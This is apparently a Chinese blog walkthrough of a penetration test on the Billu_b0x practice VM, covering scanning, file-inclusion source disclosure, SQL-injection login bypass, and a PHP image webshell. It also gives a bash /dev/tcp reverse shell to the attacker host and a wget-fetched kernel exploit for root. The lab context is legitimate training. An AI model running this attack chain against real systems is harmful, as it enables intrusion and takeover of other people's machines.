Billu_b0x 靶机练习

2025-4-18 47 4/18

Billu_b0x 项目渗透报告

这是百万拳系列的第一篇,这一篇会初步形成渗透报告框架,但是不会定死这个结构,会根据遇到情况不同缓慢调整

1.侦查

1.1收集目标网络信息:IP地址

靶机运行在虚拟环境并且配置在192.168.1.0/24网段

nmap -sn 192.168.1.0/24

Billu_b0x 靶机练习

得知靶机的地址为192.168.1.134

我们可以设置一个环境变量方便后续对靶机地址的使用操作

export ip=192.168.1.134

1.2主动扫描:扫描IP地址段

nmap $ip -n -Pn -p- --reason -sV

这里是整体扫描(全端口扫描、服务扫描、版本扫描,发现22/SSH、80/HTTP),也可以使用分段扫描,先探查出有哪些端口开启然后再针对已经开启的端口进行更加精确隐蔽的扫描探查。

Billu_b0x 靶机练习

可知靶机开启了22端口和88端口,服务的版本信息也扫描了出来

分段扫描

nmap --min-rate 10000 -p- $ip
nmap -sT -sV -O -sC -p22,80 $ip
nmap -sU --min-rate 10000 -p- $ip
nmap --script=vuln -p22,80 $ip

2.初始访问

2.1 利用面对公众的应用

访问80端口

Billu_b0x 靶机练习

这里给出了及其明显的提示,作者这里让我展示SQLI的技术,我们直接尝试SQL注入万能密码

这里针对经典恒真式(' OR '1'='1)以及其变体进行了测试但是都明显达不到要求,相比作者做了特殊的限制。

Billu_b0x 靶机练习

没有什么进展就继续往下走收集更多的信息

2.2 80端口目录爆破

这里使用gobuster,还可以是使用dirb等等

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.134

Billu_b0x 靶机练习

2.3 目录访问

192.168.1.134/add另一个关键突破口,文件上传点

Billu_b0x 靶机练习

http://192.168.1.134/in 这是靶机站点的phpinfo

Billu_b0x 靶机练习

192.168.1.134/test

Billu_b0x 靶机练习

这里看到参数为空的话就给他加上一个file参数

Billu_b0x 靶机练习

这里Get方法没什么东西,那我们就接着试试POST方法

这里使用curl进行参数传递

curl -d "file=/etc/passwd" http://192.168.1.134/test

Billu_b0x 靶机练习

成功读取到了,那经测试此处确实存在一个文件包含漏洞

http://192.168.1.134/uploaded_images 下又存在目录内容泄露,后续有机会可以在此处上传shell

2.4 漏洞利用

这里使用上面那个文件包含的漏洞进行文件读取,因为我们爆破出来还有几个页面什么都没有我们可以通过源代码进行审计

curl -d "file=index.php" http://192.168.1.134/test
curl -d "file=c.php" http://192.168.1.134/test
curl -d "file=show.php" http://192.168.1.134/test
curl -d "file=add.php" http://192.168.1.134/test
curl -d "file=test.php" http://192.168.1.134/test

我们可以看到index.php代码中包含了两个文件一个是/head就是那个背景图片,另一个就是c.php,而index文件中就包含登录逻辑的源代码

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';

其中这一段就是最主要的,可以看到我们输入的单引号被过滤掉了,但是还是对参数进行了拼接,所以我们需要换一种方式进行注入以及进行绕过。

在账号和密码的输入框中同时输入

or 1=1 #\

然后登录就可以进行绕过。

Billu_b0x 靶机练习

之后就可以上传了,并且目录也是在/uploaded_images下,我们需要上传图片马

图片马制作

图片一张作为shell.png然后写一句话保存为1.asp

//一句话
<?php system($_POST['cmd']); ?>
//合并
copy shell.png/b+1.asp/a 2.png
//(如果是在powershell环境下需要先输入cmd进入cmd环境)

然后上传

打开我们的/uploaded_images目录

Billu_b0x 靶机练习

已经可以看到我们的图片马了,然后触发就可以了。

通过上面对源码的审计,我们可以利用panel.php中文件包含的load参数进行解析

Billu_b0x 靶机练习

这里对panel.php页面进行抓包

Billu_b0x 靶机练习

修改load参数,改为图片马的路径/uploaded_images/2.png,并且在后面拼接上post参数cmd=ls

Billu_b0x 靶机练习

命令被执行,我们直接就是一手反弹

kail上

nc -nvlp 443

反弹shell命令

echo "bash -i >& /dev/tcp/192.168.1.133/443 0>&1" | bash

直接发似乎不行,尝试URL编码一下

Billu_b0x 靶机练习

成功弹了过来

3.权限提升

3.1 信息收集

用户信息

cd /home/ica
ls -liah

没有找到什么

suid信息

find / -perm -u=s -type f 2>/dev/null

也没看到什么可利用的

看看内核

cat /etc/*release

Billu_b0x 靶机练习

算是一个比较低的内核版本,直接找下exp

searchsploit ubuntu 12.04

Billu_b0x 靶机练习

好几个提权用的exp,我们直接下载一下看看

searchsploit -m 37292

然后开启http传到靶机上面

kali中

python -m http.server 80

靶机shell

cd /tmp
wget http://192.168.1.133/37292.c
//编译一下
gcc 37292.c -o 37292
./37292

最后成功拿下

Billu_b0x 靶机练习

- THE END -
Tag:
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论